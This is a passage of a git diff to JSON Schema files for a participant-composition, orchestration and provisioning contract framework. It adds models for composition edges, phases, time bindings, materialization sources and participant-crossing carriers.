"^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Target Address", + "type": "string" + }, + "target_kind": { + "enum": [ + "participant", + "controlled-scope", + "action-family", + "observation-source", + "crossing" + ], + "title": "Target Kind", + "type": "string" + } + }, + "required": [ + "allocation_id", + "target_kind", + "target_address", + "provider_component_id", + "phase_ids", + "participant_identity_ref", + "controller_ref", + "action_authority_ref", + "routing_ref" + ], + "title": "MixedCompositionAllocationModel", + "type": "object" + }, + "MixedCompositionComponentModel": { + "additionalProperties": false, + "description": "One exact admitted apparatus component, not an observed runtime fact.", + "properties": { + "apparatus_identity_ref": { + "minLength": 1, + "title": "Apparatus Identity Ref", + "type": "string" + }, + "component_id": { + "minLength": 1, + "title": "Component Id", + "type": "string" + }, + "manifest_ref": { + "$ref": "#/$defs/ExperimentManifestReferenceModel" + }, + "native_ownership_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Native Ownership Ref" + }, + "realization_envelope": { + "$ref": "#/$defs/RealizationEnvelopeIdentityModel" + }, + "realization_form": { + "enum": [ + "simulation", + "emulation-or-operation" + ], + "title": "Realization Form", + "type": "string" + } + }, + "required": [ + "component_id", + "apparatus_identity_ref", + "realization_form", + "manifest_ref", + "realization_envelope" + ], + "title": "MixedCompositionComponentModel", + "type": "object" + }, + "MixedCompositionEdgeModel": { + "additionalProperties": false, + "description": "One directed composition edge; never an API-423 runtime occurrence.", + "properties": { + "audience_scope_ref": { + "minLength": 1, + "title": "Audience Scope Ref", + "type": "string" + }, + "authority_ref": { + "minLength": 1, + "title": "Authority Ref", + "type": "string" + }, + "controller_ref": { + "minLength": 1, + "title": "Controller Ref", + "type": "string" + }, + "crossing_scope_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Crossing Scope Address", + "type": "string" + }, + "crossing_subject": { + "$ref": "#/$defs/ParticipantCrossingSubjectReferenceModel" + }, + "disclosure_authority_ref": { + "minLength": 1, + "title": "Disclosure Authority Ref", + "type": "string" + }, + "edge_id": { + "minLength": 1, + "title": "Edge Id", + "type": "string" + }, + "evidence_bindings": { + "items": { + "$ref": "#/$defs/MixedCompositionEvidenceBindingModel" + }, + "minItems": 1, + "title": "Evidence Bindings", + "type": "array" + }, + "failure_behavior": { + "$ref": "#/$defs/MixedCompositionFailureBehaviorModel" + }, + "mapping_loss": { + "$ref": "#/$defs/MixedCompositionMappingLossModel" + }, + "native_ownership_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Native Ownership Ref" + }, + "phase_ids": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Phase Ids", + "type": "array" + }, + "policy": { + "$ref": "#/$defs/ParticipantCrossingPolicyReferenceModel" + }, + "routing_ref": { + "minLength": 1, + "title": "Routing Ref", + "type": "string" + }, + "source_component_id": { + "minLength": 1, + "title": "Source Component Id", + "type": "string" + }, + "target_component_id": { + "minLength": 1, + "title": "Target Component Id", + "type": "string" + }, + "time_binding": { + "$ref": "#/$defs/MixedCompositionTimeBindingModel" + } + }, + "required": [ + "edge_id", + "source_component_id", + "target_component_id", + "phase_ids", + "crossing_scope_address", + "crossing_subject", + "audience_scope_ref", + "policy", + "controller_ref", + "authority_ref", + "routing_ref", + "disclosure_authority_ref", + "time_binding", + "mapping_loss", + "failure_behavior", + "evidence_bindings" + ], + "title": "MixedCompositionEdgeModel", + "type": "object" + }, + "MixedCompositionEvidenceBindingModel": { + "additionalProperties": false, + "description": "Typed obligation-to-evidence reference; it is not an evidence body.", + "properties": { + "evidence_ref": { + "minLength": 1, + "title": "Evidence Ref", + "type": "string" + }, + "obligation_ref": { + "minLength": 1, + "title": "Obligation Ref", + "type": "string" + } + }, + "required": [ + "obligation_ref", + "evidence_ref" + ], + "title": "MixedCompositionEvidenceBindingModel", + "type": "object" + }, + "MixedCompositionFailureBehaviorModel": { + "additionalProperties": false, + "properties": { + "disposition": { + "enum": [ + "fail-profile", + "hold-phase", + "abort-transition" + ], + "title": "Disposition", + "type": "string" + }, + "failure_ref": { + "minLength": 1, + "title": "Failure Ref", + "type": "string" + } + }, + "required": [ + "failure_ref", + "disposition" + ], + "title": "MixedCompositionFailureBehaviorModel", + "type": "object" + }, + "MixedCompositionMappingLossModel": { + "additionalProperties": false, + "description": "Prospective mapping-loss obligation using the incumbent loss vocabulary.", + "properties": { + "affected_ref": { + "minLength": 1, + "title": "Affected Ref", + "type": "string" + }, + "basis_ref": { + "minLength": 1, + "title": "Basis Ref", + "type": "string" + }, + "kind": { + "enum": [ + "none", + "private_apparatus_detail", + "source_fields_omitted", + "semantics_approximated", + "redacted_by_policy", + "temporal_detail_collapsed", + "unknown", + "unsupported" + ], + "title": "Kind", + "type": "string" + }, + "limitation_ref": { + "minLength": 1, + "title": "Limitation Ref", + "type": "string" + } + }, + "required": [ + "kind", + "basis_ref", + "affected_ref", + "limitation_ref" + ], + "title": "MixedCompositionMappingLossModel", + "type": "object" + }, + "MixedCompositionPhaseModel": { + "additionalProperties": false, + "description": "One finite admitted membership slice, not mutable runtime state.", + "properties": { + "active_allocation_ids": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Active Allocation Ids", + "type": "array" + }, + "active_component_ids": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Active Component Ids", + "type": "array" + }, + "active_edge_ids": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Active Edge Ids", + "type": "array" + }, + "evidence_bindings": { + "items": { + "$ref": "#/$defs/MixedCompositionEvidenceBindingModel" + }, + "minItems": 1, + "title": "Evidence Bindings", + "type": "array" + }, + "phase_id": { + "minLength": 1, + "title": "Phase Id", + "type": "string" + } + }, + "required": [ + "phase_id", + "active_component_ids", + "active_allocation_ids", + "evidence_bindings" + ], + "title": "MixedCompositionPhaseModel", + "type": "object" + }, + "MixedCompositionTimeBindingModel": { + "additionalProperties": false, + "description": "Edge-relative order/coupling over an incumbent time-model mapping.", + "properties": { + "mapping_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Mapping Address", + "type": "string" + }, + "ordering_basis": { + "enum": [ + "total_order", + "partial_order", + "simultaneous", + "serialized_backend_order", + "simulation_tick", + "control_plane_order", + "logical_clock", + "vector_clock", + "wall_clock_only", + "unknown", + "unsupported" + ], + "title": "Ordering Basis", + "type": "string" + }, + "source_clock_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Source Clock Address", + "type": "string" + }, + "target_clock_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Target Clock Address", + "type": "string" + }, + "temporal_coupling": { + "enum": [ + "tight", + "bounded-asynchronous", + "asynchronous" + ], + "title": "Temporal Coupling", + "type": "string" + }, + "time_model_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Time Model Digest", + "type": "string" + }, + "time_model_ref": { + "minLength": 1, + "title": "Time Model Ref", + "type": "string" + } + }, + "required": [ + "time_model_ref", + "time_model_digest", + "source_clock_address", + "target_clock_address", + "mapping_address", + "ordering_basis", + "temporal_coupling" + ], + "title": "MixedCompositionTimeBindingModel", + "type": "object" + }, + "MixedCompositionTransitionModel": { + "additionalProperties": false, + "description": "One bounded pre-admitted phase transition declaration.", + "properties": { + "evaluator_ref": { + "minLength": 1, + "title": "Evaluator Ref", + "type": "string" + }, + "evidence_bindings": { + "items": { + "$ref": "#/$defs/MixedCompositionEvidenceBindingModel" + }, + "minItems": 1, + "title": "Evidence Bindings", + "type": "array" + }, + "failure_disposition": { + "enum": [ + "fail-profile", + "hold-phase" + ], + "title": "Failure Disposition", + "type": "string" + }, + "progress_bound": { + "minimum": 1, + "title": "Progress Bound", + "type": "integer" + }, + "source_phase_id": { + "minLength": 1, + "title": "Source Phase Id", + "type": "string" + }, + "target_phase_id": { + "minLength": 1, + "title": "Target Phase Id", + "type": "string" + }, + "transition_id": { + "minLength": 1, + "title": "Transition Id", + "type": "string" + }, + "trigger_ref": { + "minLength": 1, + "title": "Trigger Ref", + "type": "string" + } + }, + "required": [ + "transition_id", + "source_phase_id", + "target_phase_id", + "trigger_ref", + "evaluator_ref", + "progress_bound", + "failure_disposition", + "evidence_bindings" + ], + "title": "MixedCompositionTransitionModel", + "type": "object" + }, + "ParticipantCrossingPolicyReferenceModel": { + "additionalProperties": false, + "description": "Exact revision and order interval for the policy used at a crossing.", + "properties": { + "decision_cut_ref": { + "minLength": 1, + "title": "Decision Cut Ref", + "type": "string" + }, + "effective_order": { + "minimum": 0, + "title": "Effective Order", + "type": "integer" + }, + "policy_decision_ref": { + "minLength": 1, + "title": "Policy Decision Ref", + "type": "string" + }, + "policy_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Policy Digest", + "type": "string" + }, + "policy_id": { + "minLength": 1, + "title": "Policy Id", + "type": "string" + }, + "policy_revision": { + "minLength": 1, + "title": "Policy Revision", + "type": "string" + }, + "valid_from_order": { + "minimum": 0, + "title": "Valid From Order", + "type": "integer" + }, + "valid_until_order": { + "minimum": 0, + "title": "Valid Until Order", + "type": "integer" + } + }, + "required": [ + "policy_id", + "policy_revision", + "policy_digest", + "policy_decision_ref", + "decision_cut_ref", + "effective_order", + "valid_from_order", + "valid_until_order" + ], + "title": "ParticipantCrossingPolicyReferenceModel", + "type": "object" + }, + "ParticipantCrossingSubjectKind": { + "description": "Closed typed references to incumbent participant and evidence carriers.", + "enum": [ + "participant-control-occurrence", + "participant-action-contract", + "participant-action-admission", + "participant-action-attempt", + "participant-action-result", + "participant-lifecycle-event", + "participant-observation", + "participant-decision-surface", + "participant-exposure", + "participant-inject-delivery", + "participant-context-view", + "participant-history-view", + "participant-status-view", + "experiment-evidence" + ], + "title": "ParticipantCrossingSubjectKind", + "type": "string" + }, + "ParticipantCrossingSubjectReferenceModel": { + "additionalProperties": false, + "anyOf": [ + { + "properties": { + "subject_revision": { + "type": "string" + } + }, + "required": [ + "subject_revision" + ] + }, + { + "properties": { + "subject_digest": { + "type": "string" + } + }, + "required": [ + "subject_digest" + ] + } + ], + "description": "Typed identity for an existing carrier without copying its payload.", + "properties": { + "contract_id": { + "minLength": 1, + "title": "Contract Id", + "type": "string" + }, + "episode_id": { + "minLength": 1, + "title": "Episode Id", + "type": "string" + }, + "participant_address": { + "minLength": 1, + "title": "Participant Address", + "type": "string" + }, + "subject_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Subject Digest" + }, + "subject_kind": { + "$ref": "#/$defs/ParticipantCrossingSubjectKind" + }, + "subject_ref": { + "minLength": 1, + "title": "Subject Ref", + "type": "string" + }, + "subject_revision": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Subject Revision" + } + }, + "required": [ + "subject_kind", + "contract_id", + "subject_ref", + "participant_address", + "episode_id" + ], + "title": "ParticipantCrossingSubjectReferenceModel", + "type": "object" + }, + "ParticipantFeatureSupportLevel": { + "description": "ADR-054 guarantee-strength scale for per-feature participant runtime support.", + "enum": [ + "unsupported", + "disclosed_weak", + "bounded", + "exact" + ], + "title": "ParticipantFeatureSupportLevel", + "type": "string" + }, + "RealizationEnvelopeIdentityModel": { + "additionalProperties": false, + "description": "Immutable realization-envelope identity carried across runtime contracts.", + "properties": { + "configuration_digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Configuration Digest", + "type": "string" + }, + "contract_id": { + "const": "realization-envelope-v1", + "default": "realization-envelope-v1", + "title": "Contract Id", + "type": "string" + }, + "digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Digest", + "type": "string" + }, + "envelope_id": { + "minLength": 1, + "title": "Envelope Id", + "type": "string" + }, + "schema_version": { + "const": "realization-envelope/v1", + "default": "realization-envelope/v1", + "title": "Schema Version", + "type": "string" + } + }, + "required": [ + "envelope_id", + "digest", + "configuration_digest" + ], + "title": "RealizationEnvelopeIdentityModel", + "type": "object" + } + }, + "$id": "https://openrae.github.io/rae/schemas/mixed-participant-composition-profile-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "One sealed portable mixed-participant composition root.", + "properties": { + "allocations": { + "additionalProperties": { + "$ref": "#/$defs/MixedCompositionAllocationModel" + }, + "minProperties": 1, + "propertyNames": { + "minLength": 1 + }, + "title": "Allocations", + "type": "object" + }, + "components": { + "additionalProperties": { + "$ref": "#/$defs/MixedCompositionComponentModel" + }, + "minProperties": 1, + "propertyNames": { + "minLength": 1 + }, + "title": "Components", + "type": "object" + }, + "composition_mode": { + "enum": [ + "alternative", + "simultaneous-mixed", + "staged" + ], + "title": "Composition Mode", + "type": "string" + }, + "contract_id": { + "const": "mixed-participant-composition-profile-v1", + "default": "mixed-participant-composition-profile-v1", + "title": "Contract Id", + "type": "string" + }, + "control_loop_posture": { + "enum": [ + "open-loop", + "closed-loop" + ], + "title": "Control Loop Posture", + "type": "string" + }, + "edges": { + "additionalProperties": { + "$ref": "#/$defs/MixedCompositionEdgeModel" + }, + "propertyNames": { + "minLength": 1 + }, + "title": "Edges", + "type": "object" + }, + "federation_membership": { + "enum": [ + "fixed", + "pre-admitted-staged" + ], + "title": "Federation Membership", + "type": "string" + }, + "initial_phase_id": { + "minLength": 1, + "title": "Initial Phase Id", + "type": "string" + }, + "nested_profile_refs": { + "additionalProperties": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + "propertyNames": { + "minLength": 1 + }, + "title": "Nested Profile Refs", + "type": "object" + }, + "phase_order": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Phase Order", + "type": "array" + }, + "phases": { + "additionalProperties": { + "$ref": "#/$defs/MixedCompositionPhaseModel" + }, + "minProperties": 1, + "propertyNames": { + "minLength": 1 + }, + "title": "Phases", + "type": "object" + }, + "profile_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Profile Digest", + "type": "string" + }, + "profile_id": { + "minLength": 1, + "title": "Profile Id", + "type": "string" + }, + "profile_revision": { + "const": "mixed-cross-backend-participant-control-v1@rev1", + "default": "mixed-cross-backend-participant-control-v1@rev1", + "title": "Profile Revision", + "type": "string" + }, + "scenario_snapshot_ref": { + "$ref": "#/$defs/ExperimentReferenceModel" + }, + "schema_version": { + "const": "mixed-participant-composition-profile/v1", + "default": "mixed-participant-composition-profile/v1", + "title": "Schema Version", + "type": "string" + }, + "semantic_revision": { + "const": "sem-234/rev1", + "default": "sem-234/rev1", + "title": "Semantic Revision", + "type": "string" + }, + "transitions": { + "additionalProperties": { + "$ref": "#/$defs/MixedCompositionTransitionModel" + }, + "propertyNames": { + "minLength": 1 + }, + "title": "Transitions", + "type": "object" + }, + "world_assumption": { + "enum": [ + "closed-world", + "bounded-open-world" + ], + "title": "World Assumption", + "type": "string" + } + }, + "required": [ + "profile_id", + "scenario_snapshot_ref", + "composition_mode", + "control_loop_posture", + "world_assumption", + "federation_membership", + "components", + "allocations", + "phases", + "initial_phase_id", + "phase_order", + "profile_digest" + ], + "title": "MixedParticipantCompositionProfileModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "The sealed root has exact keyed identities, closed references, one provider per target and phase, complete finite phase membership, mode-specific realization rules, and a matching canonical digest.", + "id": "mixed-composition-root-local-graph-valid", + "inputs": [ + { + "contract_id": "mixed-participant-composition-profile-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.mixed_composition.MixedParticipantCompositionProfileModel._validate_profile" + }, + { + "description": "Schema validity does not resolve scenario targets, manifests, envelopes, participant features, crossing policies, clocks, evidence, or nested profiles; trusted contextual validation is required.", + "id": "mixed-composition-trusted-context-required", + "inputs": [ + { + "contract_id": "mixed-participant-composition-profile-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.mixed_composition_resolution.validate_mixed_composition_context" + } + ], + "x-raes-semantic-profile": { + "contract_id": "mixed-participant-composition-profile-v1", + "entry_schema_contract_id": "raes-semantic-invariants-v1", + "entry_schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "id": "raes-semantic-invariants-v1", + "keyword": "x-raes-invariants", + "required": true, + "uri": "https://openrae.github.io/rae/schemas/semantic-invariants/v1" + } +} diff --git a/contracts/schemas/plans/orchestration-plan-v1.json b/contracts/schemas/plans/orchestration-plan-v1.json index 01e04acd3..cd6873b26 100644 --- a/contracts/schemas/plans/orchestration-plan-v1.json +++ b/contracts/schemas/plans/orchestration-plan-v1.json @@ -484,6 +484,49 @@ "type": "object" }, "JsonValue": {}, + "MaterializationSource": { + "additionalProperties": false, + "description": "Trusted full source context sealed into the exact operation plan.", + "properties": { + "authored_digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Authored Digest", + "type": "string" + }, + "contract_id": { + "const": "backend-materialization-attestation-v1", + "default": "backend-materialization-attestation-v1", + "title": "Contract Id", + "type": "string" + }, + "instantiated_digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Instantiated Digest", + "type": "string" + }, + "run_id": { + "maxLength": 128, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9_.-]*$", + "title": "Run Id", + "type": "string" + }, + "snapshot": { + "maxLength": 1048576, + "minLength": 1, + "title": "Snapshot", + "type": "string" + } + }, + "required": [ + "snapshot", + "authored_digest", + "instantiated_digest", + "run_id" + ], + "title": "MaterializationSource", + "type": "object" + }, "ObservationBasis": { "description": "Truthful basis requested for a reportable value.", "enum": [ @@ -776,6 +819,11 @@ "$schema": "https://json-schema.org/draft/2020-12/schema", "additionalProperties": false, "properties": { + "augmentation_scope_required": { + "default": false, + "title": "Augmentation Scope Required", + "type": "boolean" + }, "diagnostics": { "items": { "additionalProperties": true, @@ -784,6 +832,17 @@ "title": "Diagnostics", "type": "array" }, + "materialization_source": { + "anyOf": [ + { + "$ref": "#/$defs/MaterializationSource" + }, + { + "type": "null" + } + ], + "default": null + }, "observation_demands": { "items": { "$ref": "#/$defs/EffectiveObservationDemand" @@ -791,6 +850,19 @@ "title": "Observation Demands", "type": "array" }, + "operation_id": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Operation Id" + }, "operations": { "items": { "$ref": "#/$defs/PlanOperationModel" @@ -798,6 +870,15 @@ "title": "Operations", "type": "array" }, + "purpose": { + "default": "execution", + "enum": [ + "execution", + "inspection" + ], + "title": "Purpose", + "type": "string" + }, "startup_order": { "items": { "maxLength": 2048, diff --git a/contracts/schemas/plans/provisioning-plan-v1.json b/contracts/schemas/plans/provisioning-plan-v1.json index c3aa762dc..189bd24ab 100644 --- a/contracts/schemas/plans/provisioning-plan-v1.json +++ b/contracts/schemas/plans/provisioning-plan-v1.json @@ -815,6 +815,49 @@ "type": "object" }, "JsonValue": {}, + "MaterializationSource": { + "additionalProperties": false, + "description": "Trusted full source context sealed into the exact operation plan.", + "properties": { + "authored_digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Authored Digest", + "type": "string" + }, + "contract_id": { + "const": "backend-materialization-attestation-v1", + "default": "backend-materialization-attestation-v1", + "title": "Contract Id", + "type": "string" + }, + "instantiated_digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Instantiated Digest", + "type": "string" + }, + "run_id": { + "maxLength": 128, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9_.-]*$", + "title": "Run Id", + "type": "string" + }, + "snapshot": { + "maxLength": 1048576, + "minLength": 1, + "title": "Snapshot", + "type": "string" + } + }, + "required": [ + "snapshot", + "authored_digest", + "instantiated_digest", + "run_id" + ], + "title": "MaterializationSource", + "type": "object" + }, "NullDomain": { "additionalProperties": false, "description": "The singleton JSON-null domain, distinct from omission or unknown.", @@ -3134,6 +3177,11 @@ "$schema": "https://json-schema.org/draft/2020-12/schema", "additionalProperties": false, "properties": { + "augmentation_scope_required": { + "default": false, + "title": "Augmentation Scope Required", + "type": "boolean" + }, "diagnostics": { "items": { "additionalProperties": true, @@ -3155,6 +3203,17 @@ "default": null, "title": "Instantiation Id" }, + "materialization_source": { + "anyOf": [ + { + "$ref": "#/$defs/MaterializationSource" + }, + { + "type": "null" + } + ], + "default": null + }, "observation_demands": { "items": { "$ref": "#/$defs/EffectiveObservationDemand" @@ -3204,6 +3263,15 @@ ], "default": null }, + "purpose": { + "default": "execution", + "enum": [ + "execution", + "inspection" + ], + "title": "Purpose", + "type": "string" + }, "realization_authority": { "items": { "$ref": "#/$defs/ResolvedRealizationAuthorityModel" diff --git a/contracts/schemas/profiles/backend-profile-v1.json b/contracts/schemas/profiles/backend-profile-v1.json index 48a9b5da0..393dde9fd 100644 --- a/contracts/schemas/profiles/backend-profile-v1.json +++ b/contracts/schemas/profiles/backend-profile-v1.json @@ -12,6 +12,12 @@ "required_contracts": { "items": { "enum": [ + "backend-operation-request-v1", + "backend-operation-capabilities-v1", + "backend-operation-control-v1", + "backend-operation-response-v1", + "backend-materialization-attestation-v1", + "backend-augmentation-scope-v1", "plan-realization-profiles-v1", "backend-realization-preparation-v1", "backend-manifest-v2", @@ -40,6 +46,10 @@ "participant-resource-budget-state-v1", "participant-resource-budget-event-v1", "participant-control-occurrence-v1", + "participant-control-selection-v1", + "participant-control-evaluation-v1", + "participant-control-selection-v2", + "participant-control-evaluation-v2", "participant-crossing-occurrence-v1", "participant-flow-control-relation-v1", "participant-lifecycle-event-v1", diff --git a/contracts/schemas/profiles/behavioral-relation-profile-v1.json b/contracts/schemas/profiles/behavioral-relation-profile-v1.json index e923bd1e6..c3369c1fc 100644 --- a/contracts/schemas/profiles/behavioral-relation-profile-v1.json +++ b/contracts/schemas/profiles/behavioral-relation-profile-v1.json @@ -1,5 +1,46 @@ { "$defs": { + "AbstractCrossingCarrierModel": { + "additionalProperties": false, + "properties": { + "initial_state_ordinal": { + "maximum": 0, + "minimum": 0, + "title": "Initial State Ordinal", + "type": "integer" + }, + "model_id": { + "const": "sem-230-participant-crossing-abstract", + "title": "Model Id", + "type": "string" + }, + "revision": { + "const": "rev2", + "title": "Revision", + "type": "string" + }, + "source_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Source Digest", + "type": "string" + }, + "source_path": { + "const": "implementations/formal/participant_crossing/abstract.py", + "title": "Source Path", + "type": "string" + } + }, + "required": [ + "model_id", + "revision", + "source_path", + "source_digest", + "initial_state_ordinal" + ], + "title": "AbstractCrossingCarrierModel", + "type": "object" + }, "AbstractOpacityCarrierModel": { "additionalProperties": false, "description": "An abstract carrier whose proof obligations are discharged by a theorem session.", @@ -158,6 +199,271 @@ "title": "CoalitionOpacityObserverModel", "type": "object" }, + "ConcreteCrossingCarrierModel": { + "additionalProperties": false, + "properties": { + "initial_state_ordinal": { + "maximum": 0, + "minimum": 0, + "title": "Initial State Ordinal", + "type": "integer" + }, + "model_id": { + "const": "api-423-run-319-crossing-kernel", + "title": "Model Id", + "type": "string" + }, + "revision": { + "const": "rev2", + "title": "Revision", + "type": "string" + }, + "source_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Source Digest", + "type": "string" + }, + "source_path": { + "const": "implementations/formal/participant_crossing/concrete.py", + "title": "Source Path", + "type": "string" + } + }, + "required": [ + "model_id", + "revision", + "source_path", + "source_digest", + "initial_state_ordinal" + ], + "title": "ConcreteCrossingCarrierModel", + "type": "object" + }, + "CrossingDomainsModel": { + "additionalProperties": false, + "properties": { + "audience": { + "maxItems": 1, + "minItems": 1, + "prefixItems": [ + { + "const": "audience-0", + "type": "string" + } + ], + "title": "Audience", + "type": "array" + }, + "controller": { + "maxItems": 1, + "minItems": 1, + "prefixItems": [ + { + "const": "controller-0", + "type": "string" + } + ], + "title": "Controller", + "type": "array" + }, + "decision": { + "maxItems": 6, + "minItems": 6, + "prefixItems": [ + { + "const": "none", + "type": "string" + }, + { + "const": "permit", + "type": "string" + }, + { + "const": "deny", + "type": "string" + }, + { + "const": "unsupported", + "type": "string" + }, + { + "const": "transform", + "type": "string" + }, + { + "const": "declassify", + "type": "string" + } + ], + "title": "Decision", + "type": "array" + }, + "delivery": { + "maxItems": 4, + "minItems": 4, + "prefixItems": [ + { + "const": "none", + "type": "string" + }, + { + "const": "pending", + "type": "string" + }, + { + "const": "delivered", + "type": "string" + }, + { + "const": "withheld", + "type": "string" + } + ], + "title": "Delivery", + "type": "array" + }, + "episode": { + "maxItems": 1, + "minItems": 1, + "prefixItems": [ + { + "const": "episode-0", + "type": "string" + } + ], + "title": "Episode", + "type": "array" + }, + "history_head": { + "maxItems": 4, + "minItems": 4, + "prefixItems": [ + { + "const": "h0", + "type": "string" + }, + { + "const": "h1", + "type": "string" + }, + { + "const": "h2", + "type": "string" + }, + { + "const": "h3", + "type": "string" + } + ], + "title": "History Head", + "type": "array" + }, + "input_class": { + "maxItems": 5, + "minItems": 5, + "prefixItems": [ + { + "const": "plain", + "type": "string" + }, + { + "const": "transform", + "type": "string" + }, + { + "const": "declassify", + "type": "string" + }, + { + "const": "unsupported", + "type": "string" + }, + { + "const": "forbidden", + "type": "string" + } + ], + "title": "Input Class", + "type": "array" + }, + "participant": { + "maxItems": 1, + "minItems": 1, + "prefixItems": [ + { + "const": "participant-0", + "type": "string" + } + ], + "title": "Participant", + "type": "array" + }, + "policy_cut": { + "maxItems": 2, + "minItems": 2, + "prefixItems": [ + { + "const": "p0", + "type": "string" + }, + { + "const": "p1", + "type": "string" + } + ], + "title": "Policy Cut", + "type": "array" + }, + "replay": { + "maxItems": 3, + "minItems": 3, + "prefixItems": [ + { + "const": "fresh", + "type": "string" + }, + { + "const": "same-cut", + "type": "string" + }, + { + "const": "later-cut", + "type": "string" + } + ], + "title": "Replay", + "type": "array" + }, + "request_id": { + "maxItems": 1, + "minItems": 1, + "prefixItems": [ + { + "const": "request-0", + "type": "string" + } + ], + "title": "Request Id", + "type": "array" + } + }, + "required": [ + "participant", + "audience", + "controller", + "episode", + "request_id", + "policy_cut", + "input_class", + "decision", + "replay", + "delivery", + "history_head" + ], + "title": "CrossingDomainsModel", + "type": "object" + }, "FiniteOpacityCarrierModel": { "additionalProperties": false, "properties": { @@ -606,6 +912,177 @@ "title": "OpacityTimeModel", "type": "object" }, + "ParticipantCrossingParametersModel": { + "additionalProperties": false, + "properties": { + "checker_tau": { + "const": "internal", + "title": "Checker Tau", + "type": "string" + }, + "complete_carrier": { + "const": true, + "title": "Complete Carrier", + "type": "boolean" + }, + "completion": { + "const": "per-crossing-visible-outcome", + "title": "Completion", + "type": "string" + }, + "concurrency": { + "const": "excluded", + "title": "Concurrency", + "type": "string" + }, + "controller_handoff": { + "const": "excluded", + "title": "Controller Handoff", + "type": "string" + }, + "depth_or_sample_bound": { + "title": "Depth Or Sample Bound", + "type": "null" + }, + "domains": { + "$ref": "#/$defs/CrossingDomainsModel" + }, + "fresh_operations": { + "maximum": 1, + "minimum": 1, + "title": "Fresh Operations", + "type": "integer" + }, + "hidden_labels": { + "maxItems": 5, + "minItems": 5, + "prefixItems": [ + { + "const": "internal.validate", + "type": "string" + }, + { + "const": "internal.resolve-policy-cut", + "type": "string" + }, + { + "const": "internal.resolve-capability", + "type": "string" + }, + { + "const": "internal.prepare-record", + "type": "string" + }, + { + "const": "internal.atomic-commit", + "type": "string" + } + ], + "title": "Hidden Labels", + "type": "array" + }, + "identity_reuse": { + "const": "excluded", + "title": "Identity Reuse", + "type": "string" + }, + "kind": { + "const": "participant-crossing-dpbb/v1", + "title": "Kind", + "type": "string" + }, + "left": { + "$ref": "#/$defs/AbstractCrossingCarrierModel" + }, + "order": { + "const": "sequential-total-order", + "title": "Order", + "type": "string" + }, + "probability": { + "const": "excluded", + "title": "Probability", + "type": "string" 